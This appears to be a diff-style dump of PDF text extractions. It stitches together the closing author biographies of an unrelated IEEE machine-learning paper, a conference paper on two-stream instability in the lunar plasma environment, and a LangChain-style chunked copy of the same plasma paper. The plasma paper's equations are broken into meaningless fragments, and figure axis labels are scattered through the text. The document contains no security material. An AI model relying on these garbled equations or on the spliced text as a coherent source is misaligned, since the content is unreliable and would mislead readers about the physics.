+Molisch at the Ming Hsieh Department of Electrical
+and Computer Engineering, USC Viterbi School of
+Engineering. His current research interests include machine learning in various
+fields, quantum machine learning, and multi-agent reinforcement learning.
+Jae Pyoung Kim is currently an M.S. student in
+electrical and computer engineering at Korea Uni-
+versity, Seoul, Republic of Korea, since March 2023,
+where he received his B.S. in electrical engineering.
+student in electrical and computer engineering. He
+is a research engineer at the Artificial Intelligence
+and Mobility (AIM) Laboratory at Korea University,
+Seoul, Republic of Korea, from 2021 to 2022. His
+current research interests include quantum machine
+learning.
+Soyi Jung has been an assistant professor at the
+department of electrical and computer engineering,
+Ajou University, Suwon, Republic of Korea, since
+September 2022. She also holds a visiting scholar
+position at Donald Bren School of Information and
+Computer Sciences, University of California, Irvine,
+CA, USA, from 2021 to 2022. She was a research
+professor at Korea University, Seoul, Republic of
+Korea, during 2021. She was also a researcher
+at Korea Testing and Research (KTR) Institute,
+Gwacheon, Republic of Korea, from 2015 to 2016.
+She received her B.S., M.S., and Ph.D. degrees in electrical and computer
+engineering from Ajou University, Suwon, Republic of Korea, in 2013, 2015,
+and 2021, respectively.
+Her current research interests include network optimization for autonomous
+vehicles communications, distributed system analysis, big-data processing
+platforms, and probabilistic access analysis. She was a recipient of Best Paper
+Award by KICS (2015), Young Women Researcher Award by WISET and
+KICS (2015), Bronze Paper Award from IEEE Seoul Section Student Paper
+Contest (2018), ICT Paper Contest Award by Electronic Times (2019), and
+IEEE ICOIN Best Paper Award (2021).
+Jae-Hyun Kim received the B.S., M.S., and Ph.D.
+degrees, all in computer science and engineering,
+from Hanyang University, Ansan, Korea, in 1991,
+1993, and 1996 respectively. In 1996, he was with
+the Communication Research Laboratory, Tokyo,
+Japan, as a Visiting Scholar. From April 1997 to
+October 1998, he was a postdoctoral fellow at the
+department of electrical engineering, University of
+California, Los Angeles. From November 1998 to
+February 2003, he worked as a member of technical
+staff in Performance Modeling and QoS manage-
+ment department, Bell laboratories, Lucent Technologies, Holmdel, NJ. He
+has been with the department of electrical and computer engineering, Ajou
+University, Suwon, Korea, as a professor since 2003.
+He is the Center Chief of Satellite Information Convergence Application
+Services Research Center (SICAS) sponsored by Institute for Information &
+Communications Technology Promotion in Korea. He is Chairman of the
+Smart City Committee of 5G Forum in Korea since 2018. He is vice president
+of the Korea Institute of Communication and Information Sciences (KICS)
+from 2022. He is a member of the IEEE, KICS, the Institute of Electronics
+and Information Engineers (IEIE), and the Korean Institute of Information
+Scientists and Engineers (KIISE). He was a recipient of IEEE ICOIN Best
+Paper Award (2021).
+Joongheon Kim (M’06–SM’18) has been with Ko-
+rea University, Seoul, Korea, since 2019, where he
+is currently an associate professor at the School of
+Electrical Engineering and also an adjunct professor
+at the Department of Communications Engineering
+(established/sponsored by Samsung Electronics) and
+the Department of Semiconductor Engineering (es-
+tablished/sponsored by SK Hynix). He received the
+B.S. and M.S. degrees in computer science and
+engineering from Korea University, Seoul, Korea, in
+2004 and 2006; and the Ph.D. degree in computer
+science from the University of Southern California (USC), Los Angeles, CA,
+USA, in 2014. Before joining Korea University, he was a research engineer
+with LG Electronics (Seoul, Korea, 2006–2009), a systems engineer with Intel
+Corporation (Santa Clara, CA, USA, 2013–2016), and an assistant professor of
+computer science and engineering with Chung-Ang University (Seoul, Korea,
+2016–2019).
+He serves as an editor for IEEE TRANSACTIONS ON VEHICULAR TECH-
+NOLOGY, IEEE TRANSACTIONS ON MACHINE LEARNING IN COMMUNI-
+CATIONS AND NETWORKING, and IEEE COMMUNICATIONS STANDARDS
+MAGAZINE. He is also a distinguished lecturer for IEEE Communications
+Society (ComSoc) and IEEE Systems Council.
+He was a recipient of Annenberg Graduate Fellowship with his Ph.D.
+admission from USC (2009), Intel Corporation Next Generation and Standards
+(NGS) Division Recognition Award (2015), IEEE SYSTEMS JOURNAL Best
+Paper Award (2020), IEEE ComSoc Multimedia Communications Technical
+Committee (MMTC) Outstanding Young Researcher Award (2020), IEEE
+ComSoc MMTC Best Journal Paper Award (2021), and Best Special Issue
+Guest Editor Award by ICT Express (Elsevier) (2022). He also received several
+awards from IEEE conferences including IEEE ICOIN Best Paper Award
+(2021), IEEE Vehicular Technology Society (VTS) Seoul Chapter Awards
+(2019, 2021, and 2022), and IEEE ICTC Best Paper Award (2022).
+

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@@ -0,0 +1,801 @@
+1 
+ 
+URSI RCRS 2022, IIT (Indore), India, 1 –4 December, 2022 
+ 
+ 
+Streaming Instability Generation in Lunar Plasma Environment 
+ 
+Mehul Chakraborty1, Vipin K. Yadav2* and Rajneesh Kumar1 
+ 
+1 Department of Physics, Banaras Hindu University (BHU), Varanasi 221005, India 
+2 Space Physics Laboratory (SPL), Vikram Sarabhai Space Centre (VSSC), Thiruvananthapuram 695022, India  
+* Corresponding Author: vipin_ky@vssc.gov.in 
+ 
+Abstract 
+Plasma instabilities are the non-linear processes occurring 
+in plasmas when excess energy gets accumulated in a 
+plasma system which is unable to hold it. There are 
+almost 60 known plasma instabilities in nature.  
+1. Introduction 
+The phenomena of plasma instability takes place in a 
+plasma where excess energy is accumulated due to the 
+free energy sources. The plasma instabilities are often 
+observed in plasma systems residing in space such as the 
+Sun, the planetary ionospheres, etc. Earth‟s natural 
+satellite Moon has a very thin atmosphere and 
+subsequently feeble plasma environment. However, this 
+tenuous plasma environment is a place of several non-
+linear plasma phenomena. The solar wind, which strikes 
+the lunar surface unhindered due to the absence of global 
+lunar magnetic field, is capable of triggering plasma 
+instability around the lunar exosphere. 
+2. Plasma Instabilities 
+Plasma instability is a physical phenomenon which occurs 
+in plasma when an energy build-up takes place there 
+taking the plasma system away from the equilibrium. This 
+energy build can lead to the plasma particle loss either by 
+the generation of plasma waves or the particle beams or 
+deformations in the stable plasma structures. It is, 
+however, to be noted that the total energy of the system is 
+conserved as the instabilities only transfer the free energy 
+from one place to another. The free energy in a plasma 
+system can be in the form of beam kinetic energy, 
+pressure gradients in an effective potential (a light fluid 
+supporting a heavier fluid), anisotropies in the velocity 
+distribution (particle kinetic energy), energy stored in a 
+magnetic field, Spatio-temporal variation in the electric 
+field, etc. 
+Plasma instabilities are often associated with plasma 
+waves supported by the plasma system. The linear phase 
+of a plasma instability is initiated by a set of waves which 
+are unstable and have an exponential growth rate. Out of 
+all the unstable plasma modes, the one having the highest 
+growth rate will drive the plasma dynamics and structure 
+with its periodicity and location in plasma. This dominant 
+mode is defined by the plasma parameters and all other 
+unstable modes will generate fluctuations around the 
+dominant mode.  
+Plasma instabilities can be classified in many ways which 
+are as follows [Melzani, 2014]: 
+1. Instabilities with names: Buneman instability, Weibel 
+instability, Rayleigh-Taylor (RT) instability, Kelvin-
+Helmholtz (K-H) instability, etc. 
+2. Theory Instabilities: Ideal MHD instability, Resistive 
+plasma instability, Kinetic instability, etc. 
+3. Instabilities with physical configuration: Two-stream 
+instability, Bump-in-the-tail instability, Filamentation 
+instability, 
+Kink 
+instability, 
+Sausage 
+instability, 
+Ballooning instability, Tearing instability, etc. 
+4. Instabilities with plasma waves: Ion acoustic instability, 
+Mirror-mode 
+instability, 
+Ion 
+cyclotron 
+instability, 
+Electron-heat-flux instability, etc. 
+Apart from these there are some other plasma instabilities 
+such as resonant and non-resonant instabilities, micro- 
+and macro instabilities, etc.  
+3. Instability Analysis in Lunar Plasma 
+Environment and Results 
+Plasma (Two-stream) instability is analysed in the lunar 
+ionosphere where the solar-wind (electron beam) interacts 
+with the lunar background plasma containing electrons. 
+The ion number density being low in both solar wind as 
+well as the lunar ionosphere is neglected here.    
+The conditions for the instabilities to generate are 
+analyzed from the plasma instability dispersion relation. 
+The plasma conditions may not be always suitable for the 
+instabilities to evolve as the instability occurrence 
+involves the solar wind electron number density, the solar 
+wind velocity and the background plasma electron 
+number density. Favorable values of these three quantities 
+give instabilities at various lunar altitudes. Once the 
+instability is generated, an attempt shall be made for the 
+estimation of the growth rates of these instabilities which 
+in turn will provide information regarding the temporal 
+evolution of these instabilities.The dielectric function of 
+the beam-plasma system for various values of α [Piel, 
+2010] is shown in Figure 1. 
+
+U.
+R2 
+ 
+ 
+Figure 1: Beam-plasma dielectric function [Piel, 2010]. 
+For a given value of the plasma and the solar wind (beam) 
+parameters, if a kis above the threshold then there will be 
+four real solutions. On decreasing, when the kgoes below 
+the threshold, the maxima go below zero and the left 
+beam mode and right plasma mode merged and can be 
+seen in Figure 1. 
+The dispersion relation obtained from the analysis of 
+beam plasma instability is [Anderson et al., 2001] 
+   
+    
+  
+ 
+(     
+⃗⃗⃗    
+⃗⃗⃗⃗⃗⃗⃗ )
+         (1) 
+ (   ⃗ )     
+   
+    
+  
+ 
+(     
+⃗⃗⃗    
+⃗⃗⃗⃗⃗⃗⃗ )
+    (2) 
+The term   ⃗⃗⃗    
+⃗⃗⃗⃗⃗⃗     (Doppler shifted frequency) and 
+  
+    
+  
+ 
+         (3) 
+Hence, the dispersion relation becomes 
+ (   ⃗ )     
+   
+    
+    
+(     )             (4) 
+The local extremum of this function is obtained 
+  
+       
+   
+       
+ 
+  
+(     )      (5) 
+which becomes 
+(     )            (6) 
+and gives 
+(      
+  
+⁄  ) [(    )  ( 
+  
+⁄  )
+ 
+ 
+( 
+  
+⁄  ) (    )]                      (7) 
+Case 1: When 1stterm is zero in equation (7) 
+ (    
+  
+⁄ )        
+Now, ω = ωm when dD/dω = 0  
+    
+  
+(    
+  
+⁄ )(8) 
+If we put back the expression of alpha then it becomes 
+    
+    
+  
+⁄
+(  
+  
+⁄    
+  
+⁄ )
+           (9) 
+This is the local maxima of the function 
+Case 2: When 2nd term is zero in above equation 
+(   
+  
+⁄   
+  
+⁄ )    (      
+  
+⁄   )     
+    
+ω is obtained from this quadratic equation as: 
+   
+(    
+  
+⁄ )     √  
+  
+⁄   
+ (   
+  
+⁄   
+  
+⁄ )
+ 
+Here, the solution is complex unable to give the local 
+extremum of the dispersion function. Hence, the 1st case 
+real solution is considered to find the local maxima as  
+  (    ⃗ )     
+   
+  
+   
+    
+(      )      (10) 
+Substituting ωmfrom (8), we get 
+  (    ⃗ )     
+   
+  
+  
+   
+ 
+  
+ 
+ 
+ 
+  
+⁄  (    
+  
+⁄ )      (11) 
+This 
+local 
+maxima 
+determines 
+when 
+instability 
+isgenerated. The maxima depend on the solar wind and 
+lunar plasma parameters. Two cases exist here, one where 
+Dm > 0 and the other when Dm < 0. 
+3.1 Dm > 0: Real roots 
+When Dm > 0, four real roots of the dispersion relation are 
+obtained as follows (K = e2/mε0): 
+ (   ⃗ )     
+   
+    
+    
+(     )  = 0      (12) 
+which gives 
+   (   )   (  
+            )   
+(      )       
+                         (13) 
+It is evident from this 4th order quartic equation in ω terms 
+that there are two singularities at the 2nd and 3rd term. The 
+D (ω, k) expression gives singularity at ω = 0 due to the 
+space charge of lunar plasma. This is the plasma 
+singularity and the modes (normal plasma space charge 
+oscillations) around this singularity are also solar wind 
+independent. The other singularity is at ω = ωd which 
+occurs only when there is a beam (the solar wind) in the 
+system irrespective of its strength (the number density and 
+velocity). 
+The value of beam singularity ωd = kvb is large as vb is of 
+the order of 105m/sec (solar wind velocity) and is located 
+far away from the origin. The nature of dispersion relation 
+remains independent of the singularity ωd = kvb and also 
+around the 2nd singularity (one singularity doesn‟t affect 
+the nature around another singularity). So, it can be split 
+into two parts - one containing the plasma singularity and 
+the other containing the beam modes and solved 
+separately for the four propagating plasma modes. 
+ (   ⃗ )     
+   
+    
+    
+(     )  = 0 
+Near ω ≈ 0, 1 – ωp
+2/ω2 = 0 giving 2 roots (plasma modes)  
+         √    
+   
+ 
+Near ω ≈ ωd 
+   
+    
+(     )    
+which also gives 2 roots which are called beam modes 
+      √     
+       √     
+   
+ 
+The phase velocities of these two beam modes are 
+     
+     
+   
+ √     
+   
+ 
+     
+        
+ √     
+   
+ 
+The two beam modes are travelling waves with different 
+phase velocities but same group velocities which imply 
+
+2
+3
+dielectric function
+0
+2
+--0p0.001
+..*.,0.01
+-4
+0g=0.1
+-2
+-1
+0
+1
+2
+3
+w/wpe3 
+ 
+these modes are superposition of many waves. Also, the 
+group velocity is equal to the beam velocity which 
+suggests that the beam modes are in resonance with the 
+beam itself and this can lead to an interaction between the 
+modes and the beam. 
+The other two plasma modes have both zero phase and 
+group velocity, because they are plasma oscillations. 
+These modes can become plasma waves if the thermal 
+velocities of plasma constituents are taken into account in 
+the analysis which is not doing here assuming „cold‟ lunar 
+plasma.  
+In summary of the propagating modes, two beam (solar 
+wind) independent solutions are obtained and these two 
+exist due to the lunar plasma and the other two modes 
+(travelling waves) comes into existence only when the 
+solar wind with high velocities comes and interacts with 
+the lunar plasma. 
+3.2 Dm < 0: Complex roots 
+The instability will be seen only if Dm ≤ 0 and this 
+condition give a threshold for the plasma instability 
+generation as 
+  (    ⃗ )    *  
+ 
+  
+     
+ 
+  
+ 
+ 
+ 
+  
+⁄ + (    
+  
+⁄ )
+ 
+   
+Now,  
+  
+    
+  
+ 
+      ,   
+   
+    
+   ,   
+   
+    
+   ,      ⃗     
+⃗⃗⃗⃗⃗⃗  
+Substituting these values in the above relation 
+ 
+     
+   
+    
+  *  (
+  
+  )
+  
+⁄
++
+ 
+[      
+ 
+(  
+  )
+  
+⁄ ]
+ 
+The threshold for lunar instability generation is given as 
+     
+  *  (  
+  )
+  
+⁄
++
+ 
+[
+ 
+ 
+ 
+      
+ 
+(  
+  )
+  
+⁄
+]
+ 
+ 
+ 
+   
+    
+                   (14) 
+It can be inferred here that for the given values of lunar 
+plasma density ne, the solar wind (beam) number density 
+nb and solar wind (beam) velocity vb, an instability will 
+always get triggered.The lunar plasma number density is 
+typically in range 10 cm-3 to 300 cm-3and the solar wind 
+parameters are nb = 5 cm-3 and vb = 3.75 × 105m/sec. 
+At any given lunar altitude where the value of these 
+parameters is known, the propagation constants can be 
+obtained for which the instability gets generated. Hence, 
+at a specific altitude, multiple instabilities of different k 
+can be triggered leading to the generation of multiple 
+plasma waves. 
+4. Lunar Plasma Instability: Results  
+4.1 Growth Factor 
+When the local maxima of D(ω, k) goes below zero then 
+the two roots vanish, and only a single plasma and beam 
+mode survive. These two roots are complex conjugates of 
+each other (ω = ωr ± ωim) and are obtained by Taylor 
+expansion of the dispersion function about the maxima. 
+Expanding D(ω,k) about the local maxima ωm as given in 
+equation (8) 
+ ( )   (  )  (    )   
+  |     
+ 
+ 
+  (    )    
+   |             (15) 
+Now, D(ωm) is given by equation (11), D(ωm) < 0 which 
+is the threshold and D′(ωm) = 0 since this point is local 
+maxima and also D′′(ωm) < 0. The required dispersion 
+relation is D(ω) = 0 which is a quadratic equation in terms 
+of (ω − ωm) 
+ (  )  (    )  (  )   
+ (    )    (  )    
+       
+    (  )   √(  (  ))      (  ) (  )
+   (  )
+= 0 
+But D′(ωm) = 0, hence 
+        √  (  )
+   (  ) 
+Both quantities inside the root are positive, so by Taylor 
+expansion, the dispersion relation about the maxima gives 
+two complex conjugate roots for ω.The real part of ω is 
+given as ωre 
+         
+  
+(    
+  
+⁄ )   
+    
+  
+⁄
+(  
+  
+⁄     
+  
+⁄ )
+     (16) 
+And it gives the phase and group velocities of instability 
+       
+   
+  
+(    
+  
+⁄ )
+ 
+        
+    
+  
+(    
+  
+⁄ )
+ 
+In these expressions, when α ≪1, there is resonance 
+between the instability‟s propagation and the movement 
+of the solar wind (beam) making energy transfer from 
+electrons to the instability. 
+The imaginary part of ω is the growth rate (amplitude 
+increase with time) 
+    √
+  (  )
+   (  )                   (17) 
+Now, the term D′′(ωm) is obtained from equation (5) as 
+   
+       *
+   
+    
+  
+ 
+(     ) +      (18) 
+At ω = ωm, and using equation (8), equation (18) becomes 
+   
+        
+(    
+  
+⁄ )
+ 
+  
+ 
+*  
+   
+  
+ 
+ 
+  
+⁄ +      (19) 
+D(ωm) and d2D/dω2 are inserted in equation (17) to obtain 
+   
+ 
+  
+√ (   
+  
+⁄ )
+  
+  
+⁄ [
+  
+ (   
+  
+⁄ )
+ 
+     
+  
+⁄ (   
+  
+⁄ )
+ 
+   
+  
+  
+⁄
+  
+       
+  
+⁄
+]
+  
+⁄
+ 
+Dividing the whole by ωp
+2 and taking ωb
+2/ωp
+2 = α, it 
+becomes 
+    
+ 
+  
+⁄   
+√ (   
+  
+⁄ )
+  
+⁄ (
+  
+ 
+   ) [
+   
+  
+ (       
+  
+⁄    
+  
+⁄ )  
+ ]
+  
+⁄
+- (20) 
+This expression shows that that the growth factor depends 
+on lunar plasma, solar wind (beam) parameters and the k 
+of plasma wave. At a given lunar altitude, multiple 
+
+4 
+ 
+different 
+instability 
+modes 
+can 
+exist 
+which 
+are 
+differentiated by their k as per the threshold. Every such 
+mode with a specific k will have its growth rate given by 
+equation (20). 
+The growth factor with k (for different values of ne) is 
+plotted in Figure 2 to find the fastest growing mode and to 
+look for the expression for a specific k which gives the 
+maximum growth.The ne variation is taken as 10 cm-3, 50 
+cm-3, 100 cm-3, 200 cm-3 and 300 cm-3. 
+ 
+Figure 2: The growth factor with k for different ne. 
+Let K = (1 + α + 3α1/3 + 3α2/3), equation (20) becomes 
+    
+ 
+  
+⁄   
+√ (   
+  
+⁄ )
+  
+⁄ (
+  
+ 
+   ) [
+   
+  
+    ]
+  
+⁄
+- (21) 
+    
+   
+  
+ 
+  
+⁄   
+√ (   
+  
+⁄ )
+[   
+   (  
+  
+  
+   )
+  
+⁄
+    
+ 
+   
+  
+  
+  
+ (  
+  
+  
+   )
+   
+⁄
+] 
+For maxima dωim/dωd = 0 
+ 
+ 
+  
+⁄   
+√ (   
+  
+⁄ )
+[   
+   (  
+  
+  
+   )
+  
+⁄
+    
+ 
+   
+  
+  
+  
+ (  
+  
+  
+   )
+   
+⁄
+]    
+which gives 
+  
+  
+  
+             √  
+Now ωd = kvb, hence we get  
+     
+  
+    √ 
+  
+ 
+Inserting K from above  
+      (  
+  
+) √       
+  
+⁄     
+  
+⁄  
+4.2 Decay Rate 
+When the dispersion relation is expanded in the Taylor 
+series, the complex solutions comes  
+        √  (  )
+   (  ) 
+This gives two solutions which are complex conjugates of 
+each other. The imaginary partgives the beam plasma 
+instability and the other a propagating mode. 
+E = E0ei(kx-ωt) , ω = ωr ± iωim,        (             ) 
+which becomes 
+            (       ) 
+The solution corresponding to +ωim correspond to the 
+instability and the solution with −ωim corresponds to a 
+decaying mode as with time the amplitude will decrease. 
+These growing and decaying modes show striking 
+similarity in its properties with the instabilities. The decay 
+rate with respect to k value of the modes for different 
+values of ne is shown in Figure 3. It can be seen from the 
+figure that a mode with highest decay rate will decay 
+early and with increasing ne, the k value with the highest 
+decay rate will also increase. 
+Therefore, it can be concluded that the solar wind impact 
+on the lunar plasma can trigger (i) Langmuir plasma 
+oscillations; (ii) Right beam propagating modes; (iii) 
+Beam-plasma instability; (iv) Beam plasma decay mode. 
+ 
+Figure 3: Symmetric nature of decay and growth rates. 
+The growth rate and decay rate are symmetric to each 
+other which means for a given ne, the maximum growth 
+rate and decay rate occur at the same k value. This strong 
+symmetric nature suggests a strong energy exchange 
+mechanism i.e. with time the instability modes gain 
+energy and in other case with time the decay modes loose 
+energy. It suggests that a resonance exist between the 
+solar wind, lunar plasma and plasma instability where 
+during the instability growth the solar wind dump energy 
+in the lunar plasma and during the decay the lunar plasma 
+pumps energy in the solar wind quenching the instability. 
+4. References 
+1. Mickael Melzani, “Plasma Instabilities”, Centre de 
+Recherche Astrophysique de Lyon, Ecole Normale 
+Superieure de Lyon, France, 2014, Page: 1-24 
+2. Alexander Piel, “Plasma Physics”, Springer-Verlag, 
+Berlin Heidelberg, doi:10.1007/978-3-642-10491-6 
+3. D. Anderson, R. Fedele, & M. Lisak, “A tutorial 
+presentation of the two stream instability and Landau 
+damping”, Am. J. Phys., 69 (12), 2001, 1262-1266, 
+doi:10.1119/1.14072521 
+
+0.35
+ne=10cmA3
+ne=50cm^3
+ne=100cm^3
+E"O
+ne=200cm^3
+ne=300cmA3
+0.25 
+.pe
+m/!-m
+0.2 
+0.15 
+0.1 -
+0.05 
+0.5
+1.5
+2
+2.5
+3
+3.5
+4.5
+w_d/w_pe0.4
+ne=10cmA3
+ne =50cmA3
+0.3 
+ne=100cmA-3
+ne=200cm^3
+ne=300cmA-3
+0.2 -
+w_im/w_pe
+0.1
+-0.1
+2'0-
+0.3 -
+0.4
+0
+0.5 
+1
+1.5
+2
+2.5
+3
+3.5
+4.5
+w_d/w_pe

HtE0T4oBgHgl3EQfhwE8/content/tmp_files/load_file.txt

@@ -0,0 +1,155 @@
+filepath=/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf,len=154
+page_content='1  URSI RCRS 2022, IIT (Indore), India, 1 –4 December, 2022  Streaming Instability Generation in Lunar Plasma Environment  Mehul Chakraborty1, Vipin K.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' Yadav2* and Rajneesh Kumar1  1 Department of Physics, Banaras Hindu University (BHU), Varanasi 221005, India 2 Space Physics Laboratory (SPL), Vikram Sarabhai Space Centre (VSSC), Thiruvananthapuram 695022, India * Corresponding Author: vipin_ky@vssc.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='gov.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='in  Abstract Plasma instabilities are the non-linear processes occurring in plasmas when excess energy gets accumulated in a plasma system which is unable to hold it.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' There are almost 60 known plasma instabilities in nature.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' 1.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' Introduction The phenomena of plasma instability takes place in a plasma where excess energy is accumulated due to the free energy sources.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' The plasma instabilities are often observed in plasma systems residing in space such as the Sun, the planetary ionospheres, etc.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' Earth‟s natural satellite Moon has a very thin atmosphere and subsequently feeble plasma environment.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' However, this tenuous plasma environment is a place of several non- linear plasma phenomena.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' The solar wind, which strikes the lunar surface unhindered due to the absence of global lunar magnetic field, is capable of triggering plasma instability around the lunar exosphere.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' 2.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' Plasma Instabilities Plasma instability is a physical phenomenon which occurs in plasma when an energy build-up takes place there taking the plasma system away from the equilibrium.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' This energy build can lead to the plasma particle loss either by the generation of plasma waves or the particle beams or deformations in the stable plasma structures.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' It is, however, to be noted that the total energy of the system is conserved as the instabilities only transfer the free energy from one place to another.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='  The free energy in a plasma system can be in the form of beam kinetic energy, pressure gradients in an effective potential (a light fluid supporting a heavier fluid), anisotropies in the velocity distribution (particle kinetic energy), energy stored in a magnetic field, Spatio-temporal variation in the electric field, etc.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' Plasma instabilities are often associated with plasma waves supported by the plasma system.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' The linear phase of a plasma instability is initiated by a set of waves which are unstable and have an exponential growth rate.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' Out of all the unstable plasma modes, the one having the highest growth rate will drive the plasma dynamics and structure with its periodicity and location in plasma.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' This dominant mode is defined by the plasma parameters and all other unstable modes will generate fluctuations around the dominant mode.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' Plasma instabilities can be classified in many ways which are as follows [Melzani, 2014]: 1.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' Instabilities with names: Buneman instability, Weibel instability, Rayleigh-Taylor (RT) instability, Kelvin- Helmholtz (K-H) instability, etc.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' 2.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' Theory Instabilities: Ideal MHD instability, Resistive plasma instability, Kinetic instability, etc.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' 3.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' Instabilities with physical configuration: Two-stream instability, Bump-in-the-tail instability, Filamentation instability, Kink instability, Sausage instability, Ballooning instability, Tearing instability, etc.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' 4.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='  Instabilities with plasma waves: Ion acoustic instability, Mirror-mode instability, Ion cyclotron instability, Electron-heat-flux instability, etc.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' Apart from these there are some other plasma instabilities such as resonant and non-resonant instabilities, micro- and macro instabilities, etc.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' 3.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' Instability Analysis in Lunar Plasma Environment and Results Plasma (Two-stream) instability is analysed in the lunar ionosphere where the solar-wind (electron beam) interacts with the lunar background plasma containing electrons.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' The ion number density being low in both solar wind as well as the lunar ionosphere is neglected here.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' The conditions for the instabilities to generate are analyzed from the plasma instability dispersion relation.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' The plasma conditions may not be always suitable for the instabilities to evolve as the instability occurrence involves the solar wind electron number density, the solar wind velocity and the background plasma electron number density.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' Favorable values of these three quantities give instabilities at various lunar altitudes.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content=' Once the instability is generated, an attempt shall be made for the estimation of the growth rates of these instabilities which in turn will provide information regarding the temporal evolution of these instabilities.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='The dielectric function of the beam-plasma system for various values of α [Piel, 2010] is shown in Figure 1.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
+page_content='  U.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/HtE0T4oBgHgl3EQfhwE8/content/2301.02435v1.pdf'}
